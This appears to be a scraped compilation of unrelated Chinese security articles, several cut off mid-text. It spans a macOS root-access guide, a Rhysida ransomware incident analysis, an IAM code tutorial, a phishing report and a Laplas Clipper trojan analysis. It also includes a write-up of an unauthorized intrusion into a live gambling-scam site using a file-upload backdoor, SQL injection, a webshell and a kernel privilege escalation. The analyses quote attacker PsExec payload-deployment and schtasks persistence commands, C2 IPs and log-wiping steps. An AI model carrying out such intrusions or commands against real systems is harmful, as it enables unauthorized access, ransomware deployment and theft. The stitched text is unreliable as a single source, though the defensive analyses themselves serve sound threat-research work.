8. 獲取超級用戶訪問權限Root 是超級用戶，可以無限制地訪問所有系統功能和文件。當管理員帳戶無法提供所需的權限級別時，此用戶會很有幫助。例如，管理員無法更改系統文件，但超級用戶可以。您可以通過終端和GUI 獲取root 訪問權限。讓我們看一下終端選項。

當您運行命令並看到“權限被拒絕”消息時，請運行相同的命令，並在其前面加上sudo 一詞。您需要輸入root 密碼，然後命令將被執行而不會出現訪問問題。

要成為終端內的超級用戶而無需在每個命令前輸入sudo，請使用sudo su 命令。您還需要輸入root 密碼。執行此命令後，您將在此終端會話中獲得超級用戶訪問權限。

要通過GUI 獲得超級用戶訪問權限，您需要成為管理員。默認情況下無法以超級用戶身份登錄macOS，但有一個解決方法。在“用戶和組”首選項窗格中打開“登錄選項”，然後單擊“加入”。

image.png

圖32. 更改macOS 中的登錄選項

在打開的表單中，選擇“打開目錄實用程序”，然後單擊左下角的鎖定圖標並輸入管理員憑據。

image.png

圖33. 登錄目錄實用程序

在“目錄實用程序”中，打開“編輯”菜單，選擇“啟用Root 用戶”，然後為root 用戶設置密碼。

image.png

圖34. 通過macOS GUI 啟用root 用戶

現在您可以以root 用戶身份登錄和退出macOS。在登錄屏幕上，選擇“其他”，輸入“root”作為用戶名，然後輸入您為root 帳戶創建的密碼。

image.png

圖35. 登錄root 帳戶

如果您的應用程序具有需要root 訪問權限才能工作的功能，請檢查在用戶沒有root 訪問權限時這些功能的執行情況。理想情況下，在這種情況下，應用程序應顯示有關權限問題的消息，將此信息添加到其日誌中，並繼續工作而不會崩潰。

結論macOS 具有一組強大的內置安全功能，macOS 開發人員需要了解這些功能並正確配置以保護其係統和應用程序。此外，Apple 經常重新設計和改進這些安全功能，因此在新的macOS 版本中，您需要確保您的軟件能夠在最新版本中正常運行。

HireHackking

微信截图_20230810151646.png

Rhysida勒索軟件組織於今年5月首次被披露，自那時起，它就與幾起影響巨大的攻擊事件有關，其中包括對智利軍隊的攻擊。最近，該組織還與針對Prospect Medical Holdings的攻擊有關，影響了美國的17家醫院和166家診所。在這次攻擊之後，美國衛生與公眾服務部將Rhysida定義為對醫療保健行業的重大威脅。

在分析最近一起針對教育機構的Rhysida勒索軟件事件時，Check Point事件響應小組（CPRT）與Check Point Research（CPR）合作，觀察到了一套獨特的技術、戰術和工具（TTP）。在分析中，研究人員發現了它與另一個勒索軟件組織Vice Society的TTP有顯著相似之處。 Vice Society是自2021年以來最活躍、最具攻擊性的勒索軟件組織之一，主要針對教育和醫療保健行業。

例如，在2022 年期間，該組織襲擊了33 個教育機構，超過LockBit、BlackCat、BianLian 和Hive 等其它勒索軟件組織。自2021 年5 月開始活躍以來，Vice Society 與其它勒索軟件組織主要區別在於其不使用自己的勒索軟件變體，而是依賴於地下論壇上出售的HelloKitty 和Zeppelin 等預先存在的勒索程序二進製文件。微軟曾以DEV-0832 的名義追踪過該組織活動軌跡，發現在某些情況下，Vice Society 盡量避免部署勒索軟件直接勒索，而是利用竊取的數據進行勒索。

鑑於Vice Society與Rhysida之間存在聯繫，有必要找到這種聯繫的技術證據。分析顯示，這兩個組織在技術上層面存在相似性，以及Rhysida的出現和Vice Society的消失之間存在明顯關聯。此外，這兩個組織共同關注的目標都是教育和醫療保健行業。

據觀察，Vice Society部署了各種商用勒索軟件有效負載，所以Rhysida並不等同於Vice Society，但至少表明Vice Society運營商現在正在使用Rhysida勒索軟件。

戰術、技術和程序由於之前對Rhysida勒索軟件有效負載進行了徹底的分析，我們將重點關注導致其部署的TTP，特別是橫向移動、憑證訪問、防禦規避、指揮和控制以及影響。

根據我們掌握的證據，使用Rhysida勒索軟件的攻擊者的贖金時間(TTR)相對較低。從最初出現橫向移動的跡像到勒索軟件的廣泛部署，只有8天時間。

橫向活動攻擊者使用多種工具進行橫向活動，包括：

1.遠程桌面協議（Remote Desktop Protocol ）——在整個攻擊過程中，攻擊者啟動了RDP連接，並採取額外步驟故意刪除相關的日誌和註冊表項，以避免被檢測到，加強研究人員的分析工作。 RDP仍然是在環境中進行橫向移動的有效方法。

2.遠程PowerShell會話（WinRM）——當通過RDP遠程連接時，可以發現攻擊者正在啟動與環境中服務器的遠程PowerShell連接。這種情況發生在部署勒索軟件負載之前的幾天。

3.PsExec——勒索軟件有效負載本身是使用PsExec從環境中的服務器部署的。部署分兩個階段進行。

3.1 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN' -p 'Password' -s cmd /c COPY '\\path_to_ransomware\payload.exe' 'C:\windows\temp'複製惡意負載；

3.2 使用命令PsExec.exe -d \\VICTIM_MACHINE -u 'DOMAIN\ADMIN'' -p 'Password' -s cmd /c c:\windows\temp\payload.exe執行惡意負載。

憑據訪問最值得注意的是，攻擊者使用ntdsutil.exe來創建NTDS的備份。將其放入名為temp_l0gs的文件夾中。此路徑被攻擊者多次使用。除此之外，攻擊者還列舉了域管理員帳戶，並試圖使用其中一些帳戶登錄。

指揮與控制攻擊者利用了幾個後門和工具來實現持久性攻擊，包括：

1.SystemBC：在一個成功的PowerShell會話中，攻擊者執行一個SystemBC PowerShell植入，它通過安裝一個名為socks的註冊表運行項來在啟動時執行腳本以維護持久性。植入程序的域為5.255.103[.]7。此外，攻擊者設置了名為Windows Update的防火牆規則，以允許向另一台服務器5.226.141[.]196發送流量。

2.AnyDesk：通過遠程管理工具AnyDesk觀察到該攻擊者。

逃避檢測在整個活動過程中，攻擊者始終在其活動之後刪除日誌和取證工件。這包括：

1.刪除最近使用的文件和文件夾的歷史記錄；

2.刪除最近執行的程序列表；

3.刪除文件資源管理器中最近輸入的路徑的歷史記錄；

4.刪除PowerShell控制台歷史文件；

5.刪除當前用戶臨時文件夾中的所有文件和文件夾；

6.在RDP會話之後，攻擊者還通過以下方式刪除了RDP特定的日誌：

7.在Windows註冊表中的“HKCU:\Software\Microsoft\Terminal Server Client”下搜索所有子項，並刪除每個子項的“UsernameHint”值（如果存在）；

8.刪除用戶Documents文件夾中的Default.rdp；

影響在勒索軟件部署當天，攻擊者會利用AnyDesk提供的訪問權限，使用PsExec在環境中廣泛部署的勒索軟件有效負載：

1.刪除帳戶訪問權限（Account Access Removal）——攻擊者啟動了對域中數万個帳戶的密碼更改，以加強修復工作；

2.禁止系統恢復（Inhibit System Recovery）：在部署勒索軟件負載之前，攻擊者試圖部署具有多種功能的PowerShell腳本，包括：

2.1 將所有本地密碼更改為預定義密碼；

2.2阻止與數據庫系統、備份軟件、安全產品相關的業務；

2.3禁用Windows Defender並阻止其運行；

2.4使用wmic.exe和vssadmin.exe刪除卷影副本；

2.5將默認RDP端口更改為4000並為其創建防火牆規則；

2.6刪除所有Windows事件日誌和PowerShell歷史記錄。

3.數據加密：如上所述，攻擊者最終使用PsExec部署了Rhysida勒索軟件有效負載。

與Vice Society的關係在研究人員對Rhysida勒索軟件TTP和基礎設施的分析中，發現了與另一個臭名昭著的勒索軟件組織Vice Society的幾個相似之處，並且觀察到隨著時間的推移勒索軟件有效負載的變化。有人提出Vice Society和Rhysida之間可能存在聯繫。接下來，我們將提供支持這一說法的其他證據。

技術、工具和基礎設施上面描述的許多技術與之前由微軟和Intrinsec描述的Vice Society攻擊高度相關。其中一些可能對勒索軟件運營商來說很通用，但卻以非常具體的方式被利用，包括不常見的特定路徑：

1.使用NTDSUtil創建一個NTDS.dit備份到一個名為temp_l0gs的文件夾。據觀察，Vice Society也使用了同樣的路徑。

2.使用名為Windows Update的New-NetFirewallRule創建本地防火牆規則，以便於使用惡意軟件SystemBC進行流量中繼。 SystemBC是通過存儲在值socks下的註冊表Run項執行的。

3.在部署勒索軟件有效負載之前，啟動整個域的密碼更改過程；

4.對與Rhysida事件相關的基礎設施的分析發現了一組PortStarter樣本，其中一些之前被認為是Vice Society的。儘管PortStarter經常被描述為一種獨立的惡意軟件，但它的使用幾乎完全與Vice Society聯繫在一起。

受害者研究除了技術上的相似性之外，Rhysida的出現與Vice Society活動的顯著下降也存在相關性。根據Rhysida和Vice Society洩漏網站的信息，研究人員構建了一個時間線。

自從Rhysida第一次出現以來，Vice Society隻公布了兩名受害者。這些很可能是在早些時候進行的，直到6月份才被公開。自2023年6月21日起Vice Society的攻擊者就停止在他們的洩漏網站上發布信息。

微信截图_20230810152210.png

Rhysida和Vice Society受害者隨時間的分佈

此外，研究人員還注意到，受這兩個組織影響的目標行業有相似之處，這兩個組織以教育和醫療保健行業為目標而聞名。在整個勒索軟件生態系統中，教育行業的受害者比例很高，這對這兩個組織來說都是獨一無二的：

2.png

Rhysida受害者在每個行業分佈情況

3.png

Vice Society受害者分佈情況

總結研究人員對Rhysida勒索軟件攻擊的分析揭示了該組織與臭名昭著的Vice Society之間的明確聯繫，但它也揭示了一個殘酷的事實，大量勒索軟件攻擊者的TTP基本保持不變。目前觀察到的大部分活動均已被任何勒索軟件組織用於部署任何勒索軟件有效負載。

上述分析表明，安全人員不僅要了解勒索軟件有效負載的操作，還要了解導致其部署的整個過程的重要性。

HireHackking

保護敏感數據是所有企業的關鍵安全任務之一。為了確保這種保護，企業需要仔細控制誰可以訪問什麼，因此實施身份和訪問管理（IAM）機制至關重要。

然而，由於IAM 選項多種多樣，決定使用哪種服務、如何配置它以及是否需要自定義解決方案來實現安全目的可能會很困難。

在本文中，我們探討了開發身份和訪問管理服務的幾種方法之間的差異。我們展示瞭如何構建自定義本地系統和基於雲的系統的詳細示例，並將這些系統與IAM 系統的關鍵標准進行比較。

本指南對於想要探索構建IAM 系統的選項並了解技術細節和細微差別的開發領導者將很有幫助。

什麼是IAM 服務以及如何構建一項服務？根據Gartner 的說法，身份和訪問管理使正確的個人能夠在正確的時間以正確的理由訪問正確的資源。不同類型和規模的企業都努力實施IAM 實踐，通過控制用戶對關鍵信息的訪問來保護敏感信息並防止數據洩露。

為了實施這些實踐，企業使用專門的系統來提供必要的功能，例如雙因素或多因素身份驗證、用戶身份管理、用戶授權功能、權限控制等。

高效的IAM 服務應遵循零信任原則，這意味著它必須提供以下內容：

基於身份的安全性，確保系統知道登錄用戶並確認用戶的身份

基於角色的訪問權限，確保每個帳戶擁有盡可能少的權限：例如，僅具有日常工作所需的訪問權限

保護用戶的其他安全措施，例如多重身份驗證(MFA)、登錄嘗試計數、針對暴力和機器人攻擊的策略、審核日誌和備份可能性

您可以在本地部署IAM 系統、訂閱第三方供應商提供的基於雲的模型或使用混合模型。

出於本文的目的，我們決定比較構建IAM 解決方案的幾種方法：

基於作為開放集成中心(OIH) 分支的自託管服務器開發本地IAM 解決方案。

使用Auth0 配置由雲提供商管理的IAM 解決方案。

使用AWS Cognito 配置由雲提供商管理的IAM 解決方案。

但在我們開始比較開發身份和訪問管理服務的方法之前，讓我們先討論一下我們的解決方案的功能並探索其流程。

IAM 系統的關鍵功能定義未來解決方案的需求至關重要，這樣我們就可以在不同的實現準備就緒後對其進行公平的比較。

我們的目標是提供一個覆蓋1000 到5000 個用戶的IAM 系統，這是中小型企業中的實際用戶數量。

此類解決方案必須涵蓋的常見任務包括：

提供對最終用戶來說簡單的用戶註冊流程

基於密碼的身份驗證，確認用戶的真實身份

基於令牌的授權，確保用戶被授予其應有的確切級別和類型的訪問權限

創建獨特的角色和權限以及將它們分配給實體或從實體中刪除它們的能力

防止任何竊取用戶身份的企圖

訪問審查和事件響應

IAM 解決方案可能包含的其他功能包括：

安全身份驗證，例如支持MFA

通過社交網絡、Google 和Microsoft 等第三方身份提供商進行身份驗證

多租戶支持提供管理多個企業的能力

現成的UI 表單可減少從頭開始創建自定義UI 表單的時間和成本

在本文中，我們探討了創建IAM 解決方案的三種不同方法，確保必備列表中的功能，並在我們使用的平台允許的情況下嘗試實現上面列出的其他功能。

典型的IAM管理流程下圖從用戶、管理員和租戶的角度直觀地展示了基本理論IAM 管理流程：

image.png

以下是用戶與IAM 解決方案交互的方式：

用戶要么已經擁有訪問令牌，要么訪問令牌被重定向到IAM 服務進行身份驗證。

為了進行身份驗證，用戶指定其用戶名和密碼，或者選擇其他身份驗證選項，例如通過社交網絡進行身份驗證或使用授權代碼流方法。

當用戶通過身份驗證後，系統向資源服務器發出請求。

資源服務器包含一個庫，用於驗證用戶是否有權訪問資源服務器內的業務邏輯部分或向IAM 服務發出請求，後者根據其數據庫檢查用戶權限。

管理員具有以下權限：

分配給他們的一組預定義角色

使他們能夠創建新租戶空間的系統權限

租戶具有以下條件：

一組預定義的角色，允許他們僅執行與租戶相關的操作

在租戶空間內管理用戶和角色/權限的機會

定義了需求和一般程序流程後，讓我們開始實際實施。我們首先開發基於開放集成中心的自定義IAM 服務。

1. 使用開放集成中心開發定制的IAM 解決方案開放集成中心(OIH) 是一個框架，可幫助開發人員確保業務應用程序之間輕鬆進行數據交換。它由多種服務組成，包括身份和訪問管理服務。

如果您需要完全控制解決方案，使用OIH 開發IAM 服務是一個不錯的選擇。但是，這個框架不提供任何精美的UI 進行自定義，您必須手動完成所有工作。

在本例中，我們將使用本地IAM 服務器並花時間：

必要時分叉、審核和修改源代碼

修復問題並維護部署管道、備份/恢復過程等。

OIH 提供的IAM 服務的主要特點是：

支持最少的任務集，包括企業和用戶管理、身份驗證、授權和基於角色的訪問控制(RBAC)

包含最小的依賴集，依賴很少的外部服務

使用JSON Web Tokens(JWT)、OAuth 2.0和OpenId Connect等基本且眾所周知的技術

要開始開發自定義解決方案，您需要執行以下步驟：

分叉現有IAM 解決方案的源代碼

必要時修改邏輯

創建Mongo 數據庫

配置RabbitMQ代理

準備託管環境

現在，我們來討論如何使用OIH 實現我們的解決方案的基本流程。

1.1.驗證對於身份驗證，我們將描述一種不涉及外部社交聯繫的方法。要通過身份驗證，用戶應添加到至少一個企業（綁定到租戶）。否則，身份驗證流程將會失敗。

身份驗證過程分為三個主要階段：

第1 階段：用戶提供登錄名和密碼，並從api/v1/session端點檢索會話令牌。在此階段，我們不需要任何有關用戶會員資格的信息。唯一的目標是驗證該用戶並獲取可以與JWT 交換的會話令牌。

image.png

以下代碼片段演示瞭如何獲取api.js 文件中的令牌：

router.post('/session',authMiddleware.authenticate,authMiddleware.accountIsEnabled,async(req,res,next)={

if(!req.user){

//req.userwillbesetafterauthMiddleware.authenticate

returnnext({status:401,message:CONSTANTS.ERROR_CODES.NOT_LOGGED_IN});

}

constt=awaitTokenUtils.create(req.user);//idtokenwillbecreatedinalocaldatabase

req.headers.authorization='Bearer${t.token}';

res.status(200).send({token:t.token,id:t._id});

});出於可讀性目的，會話端點被分解為多個預處理程序。我們的系統將在創建ID 令牌之前調用每個預處理程序。

此時，我們最感興趣的是中間件函數，也稱為預處理程序或鉤子函數-authMiddleware.authenticate它通過與Passport 庫集成來工作，而Passport 庫又使用Mongo 數據庫進行會話存儲：

authenticate:(req,res,next)={

passport.authenticate('local',async(err,user,errorMsg)={

if(err){

returnnext(err);

}

if(errorMsg){

if(errorMsg.name==='IncorrectPasswordError'){

/*todo:increaselogintimeoutfortheuser*/

awaitAccount.updateOne({

username:req.body.username,

},{

$inc:{

'safeguard.failedLoginAttempts':1,

},

},{

timestamps:false,

});

returnnext({status:401,message:CONSTANTS.ERROR_CODES.PASSWORD_INCORRECT});

}

if(errorMsg.name==='IncorrectUsernameError'){

returnnext({status:401,message:CONSTANTS.ERROR_CODES.USER_NOT_FOUND});

}

}

if(!user){

returnnext({status:401,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

req.logIn(user,async(err)={

if(err){

log.error('Failedtologinuser',err);

returnnext({status:500,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

if(req.body['remember-me']){

req.session.cookie.maxAge=30*24*60*60*1000;//30days

}else{

req.session.cookie.expires=false;//expiresatendofsession

}

awaitAccount.updateOne({

username:req.body.username,

},{

$set:{

'safeguard.lastLogin':newDate(),

'safeguard.failedLoginAttempts':0,

},

},{

timestamps:false,

});

req.session.save((err)={

if(err){

log.error('Errorsavingsession',err);

returnnext(err);

}

returnnext();

});

});

})(req,res,next);

},Passport 庫依賴於基於身份驗證的策略，您可以使用以下代碼初始化該策略：

constpassport=require('passport');

constMongoStore=require('connect-mongo')(session);

constLocalStrategy=require('passport-local').Strategyconst

session=require('express-session');

/*

.

*/

constmongoSession=session({

secret:process.env.IAM_SESSION_COOKIE_SECRET,

name:process.env.IAM_SESSION_COOKIE_NAME,

store:newMongoStore({

mongooseConnection:this.mongoose.connection,

touchAfter:4*3600,

autoRemove:'native',

autoRemoveInterval:60*4,

ttl:3*24*60*60,

}),

saveUninitialized:false,

resave:false,

});

this.app.use(mongoSession);

this.app.use(passport.initialize());

this.app.use(passport.session());

//authenticationStrategyreadsauserfromthedatabaseandchecksapassword

passport.use(newLocalStrategy(authenticationStrategy()));

/*

.

*/當身份驗證中間件被觸發時，Passport 庫會調用我們的身份驗證策略。

如果一切順利，身份驗證策略將返回用戶數據，並且會話將保存在存儲中。登錄嘗試次數將重置為0。

如果出現錯誤，我們需要首先檢查密碼是否錯誤，並增加嘗試登錄失敗的次數。這是我們可以實施強力安全的地方。我們需要跟踪失敗的登錄嘗試，並提出一種策略來阻止登錄嘗試一段時間。

第2 階段：檢索到ID 令牌後，我們可以使用它來獲取用戶所屬的企業列表：

image.png

以下是檢索企業列表的代碼：

router.get('/organizations',authMiddleware.validateSession,async(req,res,next)={

try{

constaccount=awaitAccountDAO.findOne({_id:req.user.userid});

res.status(200).send({

account,

organizations:req.user.organizations,//organizationsisapartofuserrepresentationanddefinesusermembershipinorganizations

});

}catch(err){

logger.error(err);

returnnext({status:500,message:CONSTANTS.ERROR_CODES.DEFAULT});

}

});以下是validateSession 中間件如何檢查第一步中檢索到的ID 令牌：

validateAuthentication:async(req,res,next)={

letpayload=null;

letclient=null;

lettoken=null;

/**Userhasavalidcookie*/

if(req.user){

req.user=req.user.toJSON();

req.user.userid=req.user._id.toString();

returnnext();

}

//hereweneedidtokenretrievedfrom/session

if(!req.headers.authorization){

returnnext({status:401});

}

try{

constheader=req.headers.authorization.split('');

if(!header||header.length2){

log.debug('Authorizationheaderisincorrect');

returnnext({status:401,message:CONSTANTS.ERROR_CODES.INVALID_HEADER});

}

token=header[1];

payload=awaitTokenUtils.getAccountData(token);

}catch(err){

log.warn('Failedtoparsetoken',err);

returnnext({status:401,message:CONSTANTS.ERROR_CODES.SESSION_EXPIRED});

}

if(payload){

req.user=req.user||{};

returnnext();

}else{

log.error('Tokenpayloadisemptyorinvalid',{payload});

returnnext({status:401,message:CONSTANTS.ERROR_CODES.VALIDATION_ERROR});

}

}第3 階段：最後，用戶可以選擇一個企業並請求JWT 來訪問它：

image.png

以下是獲取某個企業的JWT 的代碼：

router.post('/token',authMiddleware.validateAuthentication,

async(req,res,next)={

const{organization}=req.body;

if(!organization){

returnnext({status:400,message:'Missingorganization'});

}

try{

if(awaitAccountDAO.userHasOrganization({userId:req.user.userid,tenantId:organization})){

constjwtpayload=jwtUtils.getJwtPayload(awaitAccountDAO.findOne({_id:req.user.userid}));

consttoken=awaitjwtUtils.basic.sign(jwtpayload);

req.headers.authorization='Bearer${token}';

res.status(200).send({token:token});

}

HireHackking

0X00       歪打正着

无意间碰到一套垃圾菠菜网站杀猪盘

图片

图片

挨个访问能扫描出来的目录与文件发现并没有太大作用，不过发现了后台地址。phpmyadmin访问500。

图片

图片

访问xd.php到后台访问发现还需要授权验证码

图片

试了下8888，123456之类的都提示错误，当场关闭。

图片


尝试子域名爆破也只有一个。Nmap扫描也没有什么发现。返回首页发现url有点不常见。

图片

0X01    寻找同类型网站以及源码

这种搞诈骗的很少会开发肯定源码是从网上下载找人搭建的，不常见就是特征，于是搜索了下。

图片图片


0X02    开始审计

这么多网站那源码肯定烂大街了，于是花了点时间找到了源码，尝试审计。

图片

下载回来源码用seay扫描下，源码又太大我也懒得去本地搭建，直接用源码对着目标进行怼。

图片


从中发现了个fileupload.php文件好像有点问题。

图片

访问目标发现也存在该文件。把该文件提取出来到本地搭建的环境中做测试。

图片

直接访问会自动创建出upload和upload_tmp两个文件夹，这玩意是个demo这个点其实看起来更像个后门。

图片

图片

并且filename变量完全是可控的。

图片

继续往下看发现一些判断，可以表单上传名就为file。

文件上传

其他的就不用管了，直接改个上传表单。只要加上参数name和file就行了。


图片

name参数控制上传文件名为aaa.php

图片


选择1.jpg上传

图片

上传后没有返回路径但是在upload下已经存在aaa.php文件。

SQL注入

图片

变量中where的值又是来自request中，并且上面的checkinput中也没有检测type的值。

图片

跟入betListCnt

图片图片没有任何处理就直接带入查询了，类似点还有许多。

0X03    验证审计到的漏洞

图片

通过之前的上传拿到webshell，尝试提权。

图片

发现是debian的。发现有6379端口但是不是root用户启动的redis

图片

图片

看了下内核版本感觉应该可以，尝试寻找提权exp。

图片

生成msf马

图片

为了方便我就用msf上线了这台机器。然后寻找对应的提权exp。

0X04    尝试提权

找到这两个CVE-2019-13272、CVE-2017-16995当我在github上找利用工具的时候，我想起msf其实也自带提权的。于是尝试搜索了下

图片

搜到了就利用

图片

图片

结果当场失败

图片

尝试第二个CVE-2017-16995

图片

图片

图片成功返回一个root权限的会话，提权完毕


转载于原文链接： https://mp.weixin.qq.com/s/Yh0qq5imlfHhNQnbtPfxcA

HireHackking

概要：Bounce類釣魚郵件激增

本週（2023年7月17日~21日），思安麥賽安全實驗室觀察到大量增加的Bounce釣魚郵件，請各單位和企業做好相關的防護。

熱點描述：

關於此批Bounce釣魚郵件，如下圖所示：

圖1. Bounce釣魚郵件樣本

1.jpg

為了隱藏真實身份並躲避欲攻擊對象所在公司的郵件安全檢測，防止攻擊郵件被攔截，黑客偽造並使用目標攻擊對象的郵件地址作為發件人郵件地址，並故意將郵件投遞給一個知名公司的不存在郵件地址。因為收件人地址不存在，該知名的公司的郵件服務器會向發件人地址發送bounce退信郵件，通知該發件人郵件投遞失敗。

當被攻擊對象所在公司的郵件服務器收到bounce退信郵件後，因為該郵件來自於知名公司，所以會正常的接收該退信郵件並將郵件放置到發件人的收件箱。一旦員工打開退信郵件的附件後，將查看到黑客發送來的威脅信息：

圖2. 含威脅信息的郵件

2.jpg

專家分析：

思安麥賽安全實驗室的專家對此郵件的風險特徵進行了技術分析。

分析1：源IP地址

對bounce退信郵件的附件進行分析，根據郵件頭的指定字段可知，該惡意郵件的來源IP地址（攻擊者IP地址）是121.52.144.171。

圖3. 郵件頭部源IP字段展示

3.jpg

該IP地址位於“巴基斯坦/旁遮普邦/拉瓦爾品第”地區，網絡服務商為“HEC”。當前該IP地址下使用了“華為USG6630防火牆”和“騰達路由器”設備，說明該IP地址下的組織很大概率為一個正常運行的企業或服務商，而黑客攻陷或租用了該組織的計算機，並使用該計算機發送了Bounce攻擊郵件，而非使用私人網絡環境發起攻擊。

圖4. 該IP下的華為USG6630防火牆

4.jpg

圖5. 該IP下的騰達路由器

5.jpg

與此同時，查詢該IP地址的信譽可知，此IP地址所在的網段，曾經存在大量惡意IP地址：

圖6. 該IP網段下曾存在大量惡意IP地址

6.jpg

分析2：偽造發件人地址

攻擊者從位於巴基斯坦的計算機上，偽裝為國內某家知名公司的員工，向馬來西亞一家金融機構發送了攻擊郵件。該馬來西亞公司的郵件設備，嘗試對發件人郵件地址進行了SPF和DKIM驗證，驗證發件人地址的有效性。然而很可惜，該國內知名公司的域名並未開啟相關的郵件防偽造檢測機制。因此馬來西亞公司的郵件設備未拒絕該郵件，並因為收件人在該公司不存在，而向中國公司發出了退信郵件。

圖7. 被攻擊公司未開啟郵件防偽造機制

7.jpg

圖8. 通過了對發件人地址有效性的驗證

8.jpg

分析3：郵件攻擊鏈路溯源

經分析此郵件的完整攻擊溯源圖9如下所示：

9.jpg

總結與攻擊溯源：

經思安麥賽安全實驗室的分析測試，我們認為此“Bounce釣魚”郵件樣本含有的風險特徵包括：

攻擊起源IP地址下的組織很大概率為一個正常運行的企業或服務商，而黑客攻陷或租用了該組織的計算機，並使用該計算機發送了Bounce攻擊郵件；

攻擊起源IP地址所在的網段，曾經存在大量惡意IP地址；

攻擊者偽裝為國內某家知名公司的員工發送郵件，該中國公司的域名並未開啟相關的郵件防偽造檢測機制；

郵件正文內容中含比特幣、匯款、賬戶等敏感詞彙。

防范建議：

Bounce釣魚郵件是一種郵件攻擊手段，通常用於隱蔽地向攻擊目標發送惡意內容，而避免直接暴露攻擊者的郵件地址，並躲避被攻擊目標組織的郵件安全檢測。

要防範Bounce釣魚郵件應遵循如下一些安全實踐：

1. 本域名郵件地址驗證：實施SPF、DKIM和DMARC等發件人驗證技術，從而幫助第三方組織驗證郵件的真實來源；

2. 警惕緊急情況：釣魚郵件常常試圖製造緊急情況，以迫使受害者匆忙採取行動。要保持冷靜，不要受到威脅或誘惑；

3. 使用郵件安全防護設備：部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備；

4. 定期檢查安全防護設備：確保郵件安全防護設備的策略配置正確且生效，並確保設備的防護庫已升級到最新版本；

5. 培養安全意識：加強員工和自己的安全意識培訓，教育他們如何識別潛在的惡意郵件，並提醒他們不要隨意打開可疑的附件；

6. 鼓勵員工報告可疑郵件：如果收到可疑郵件，員工應及時將其報告給您的組織或相關機構，以幫助企業採取適當的行動保護其他員工；

7. 驗證財務交易：如果收到涉及財務交易的電子郵件，避免通過郵件直接響應。相反，通過銀行官方網站、銀行櫃檯、財務部同事等安全渠道來驗證交易。

8. 防止個人和郵件信息洩露：盡量不要在公開的論壇、社交媒體或不受信任的網站上洩露個人和郵件信息。攻擊者可能會利用這些信息來製作更具針對性的釣魚郵件；

麥賽安全實驗室（MailSec Lab）介紹：

北京網際思安科技有限公司麥賽郵件安全實驗室（MailSec Lab）依託於網際思安過去12年積累的郵件威脅數據，匯集了一批10+工作經驗的行業專家，專注於新型郵件威脅的調研，和下一代郵件安全技術的創新性研究。在過去十多年中，MailSec Lab服務於3000+家各個行業領域的典範客戶，獲得客戶的廣泛讚譽。與此同時，實驗室積極與國際和國內知名信息安全廠商合作，廣泛開展威脅情報互換、共同研究等合作，構建共同防禦的威脅防護體系。

HireHackking

本週（2023年08月07日~11日），北京網際思安科技有限公司麥賽安全實驗室（MailSec Lab）觀察到大量增加的以“下訂單”為主題的Laplas Clipper木馬郵件，請各單位和企業做好相關的防護。 01背景介紹關於此批“下訂單”為主題的病毒樣本郵件，如下圖所示：

圖1. “下訂單”為主題的Laplas Clipper木馬郵件

1.jpg

該郵件通過偽造下訂單購買產品的郵件，誘導員工解壓縮郵件附件，從而釋放出惡意程序。當員工雙擊觸發程序後，該惡意程序將自動連接攻擊者搭建的惡意網站，進一步下載Laplas Clipper木馬病毒，並對員工計算機的剪切板進行監視和控制，以盜取員工的加密貨幣。

640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1木馬介紹Laplas Clipper惡意軟件是網絡安全研究人員於2022年11月首次觀察到的一種相對較新的剪貼板竊取程序。該竊取程序屬於Clipper惡意軟件家族，這是一組專門針對加密貨幣用戶的惡意程序。 Laplas Clipper通過使用正則表達式來監視受害機器的剪貼板以獲取他們的加密貨幣錢包地址。一旦該惡意軟件找到受害者的錢包地址，它就會自動將其發送給攻擊者控制的Clipper機器人，後者將生成一個相似的錢包地址並將其覆蓋到受害者機器的剪貼板中。如果受害者隨後在執行交易時嘗試使用被惡意替換後的錢包地址，結果將是欺詐性加密貨幣交易，受害者將把錢匯款給黑客。

02專家分析思安麥賽安全實驗室的專家從附件風險性、源IP地址、發件人域名、郵件頭字段、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。

分析-1：下載的EXE文件640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點經過對EXE文件的靜態和動態分析可知，員工解壓郵件附件並點擊“PO20230808.exe”文件後會順序觸發如下惡意行為：

（1）.運行環境檢測

檢測程序是否在真實的物理機上運行？若在沙箱中運行，不觸發惡意行為。

（2）.反安全檢測

通過一些技術來破壞安全軟件的檢測。

（3）.下載Laplas Clipper木馬

連接外部的僵死控制服務器，下載木馬程序。

（4）.安裝Laplas Clipper木馬

自動安裝下載的木馬程序，並開始對員工計算機的惡意攻擊。

分析1.1. 運行環境檢測“PO20230808.exe”文件被點擊運行後，首先對程序的運行環境進行檢測，確定自身的運行環境是否安全。如果惡意程序發現自身是在虛擬環境中執行（例如：沙箱），將不運行病毒行為，從而躲避安全軟件的檢測。通過分析，實驗室專家發現了該惡意程序的如下一些躲避安全檢測的行為：

(1). 通過註冊表鍵來檢測是否安裝了常見反病毒軟件

j2.jpg

(2). 檢查適配器地址，確定網絡接口是否是為虛擬的，以確定該環境是否為虛擬機

j3.jpg

(3). 檢測是否有應用在監視和調試進程

j4.jpg

分析1.2. 反檢測/反逆向除了對運行環境進行檢驗，以躲避安全軟件的檢測外。該惡意程序在運行過程中，還通過一些技術來破壞安全軟件的檢測。

(1). 使用Process Hollowing技術進行注入

j5.jpg

(2). 在其他進程中進行內存或文件映射

j6.jpg

分析1.3. 下載Laplas Clipper木馬惡意程序運行後，通過HTTPS從攻擊者控制的下載服務器下載惡意文件，並運行。

圖2. 下載並運行Laplas Clipper木馬示例

2.jpg

圖3. 抓取到的惡意文件下載行為

3.jpg

分析1.4. 觸發惡意攻擊行為在執行的初始階段，Laplas Clipper木馬使用解密例程對一些嵌入的加密字符串進行解密。該例程首先對base64 編碼字符串進行解碼，然後使用XOR密鑰“\x3F”對其進行解密以生成密鑰、文件夾名稱、過程ID 文件和可執行文件名。

圖4. 解密字符串以獲取信息

4.jpg

圖5. 解密後的信息

5.jpg

在執行字符串解密例程之後，木馬通過使用解密的字符串“OQaXPFVvfW”創建一個文件夾，並使用另一個解密的字符串“TCOBAisZyL.exe”將自身複製到文件夾中，從而在受害者的機器上長時間運行，進行APT攻擊。木馬的絕對路徑是：

C:\Users\

Laplas Clipper木馬通過執行如下所示的schtasks命令來創建Windows 計劃任務：

cmd.exe /C schtasks /create /tn OQaXPFVvfW /tr “C:\Users\

